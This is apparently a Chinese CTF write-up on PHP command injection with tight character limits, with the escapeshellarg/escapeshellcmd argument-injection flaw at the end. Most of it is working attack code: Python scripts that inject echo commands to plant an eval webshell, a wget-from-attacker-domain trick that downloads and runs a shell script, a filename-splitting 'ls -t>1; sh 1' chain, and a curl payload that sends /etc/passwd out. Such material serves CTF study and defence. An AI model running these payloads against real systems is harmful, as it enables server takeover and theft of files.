linux 上任意命令执行,一般会用到下面几个字符
` | || & && . ; - <> $ %0a
用 %0a 来执行命令,只能适用于linux , 127.0.0.1%0awhoami
exec2 当可输入的字符不够长时,这里包含分割符一共可输入13个字符
- 最短的shell是
<?`$_GET[c]`
; 一共十四个字符 所以,直接写shell,长度肯定是不够的 所以思路是先写命令到一个文件中,然后用 sh filename 执行脚本,获取shell
#!/usr/bin/python
#conding: -*-utf-8-*-
# exp.py
import requests as req
url = "http://localhost/ctf/exec2.php"
for i in "echo '<?php @eval($_POST[1]);?>' > shell.php ":
data = {"ip":"0.0.0.0;echo -n \\"+i+">>1"}
res = req.post(url,data=data)
# print data['ip']
# print res.text
print "[*] bash shell upload successful!"
data={"ip":"0.0.0.0;bash 1"}
res=req.post(url,data=data)
shell="http://127.0.0.1/ctf/shell.php"
res=req.get(shell)
if res.status_code == 200:
print "[*] get shell successful"
获取shell在shell.php
- 第二种获得shell的方法
前提是你需要有一个比较短的域名,然后在服务器的根目录下写一个302跳转
// index.php
<?php header("Location: ./1.sh") ?>
#1.sh
echo '<?php @eval($_POST[1]);?>' > shell.php
这两个文件放在同一个目录下,执行
ip=0.0.0.0;wget i.com
ip=0.0.0.0;sh index.html #刚好21个字符
然后就获取一个shell
这是7个字符get shell的题目,writeup在这里
下面只写一个python的poc吧
#!/usr/bin/python
#-*- coding: utf-8 -*-
import requests
def GetShell():
url = "http://192.168.56.129/shell.php?1="
fileNames = ["1.php","-O\ \\","cn\ \\","\ a.\\","wget\\"]
# linux创建中间有空格的文件名,需要转义,所以有请求"cn\ \\"
# 可以修改hosts文件,让a.cn指向一个自己的服务器。
# 在a.cn 的根目录下创建index.html ,内容是一个php shell
for fileName in fileNames:
createFileUrl = url+">"+fileName
print createFileUrl
requests.get(createFileUrl)
getShUrl = url + "ls -t>1"
print getShUrl
requests.get(getShUrl)
getShellUrl = url + "sh 1"
print getShellUrl
requests.get(getShellUrl)
shellUrl = "http://192.168.56.129/1.php"
response = requests.get(shellUrl)
if response.status_code == 200:
print "[*] Get shell !"
else :
print "[*] fail!"
if __name__ == "__main__":
GetShell()
这是由错误的使用 escapeshellarg 和 escapeshellcmd 造成的参数注入:
$url = "http://127.0.0.1/' -F file=@/etc/passwd -x 127.0.0.1:9999";
经过 escapeshellarg 处理后变成为:
'http://127.0.0.1/'\'' -F file=@/etc/passwd -x 127.0.0.1:9999'
再用 escapeshellcmd 处理之后变换成为:
'http://127.0.0.1/'\\'' -F file=@/etc/passwd -x 127.0.0.1:9999\'
导致 -F 和 -x 参数逃逸出单引号,造成任意文件读取。
主要理解函数 escapeshellarg 到底是用来干什么的, 还有命令解释器是怎么识别选项和参数值的
参考: https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html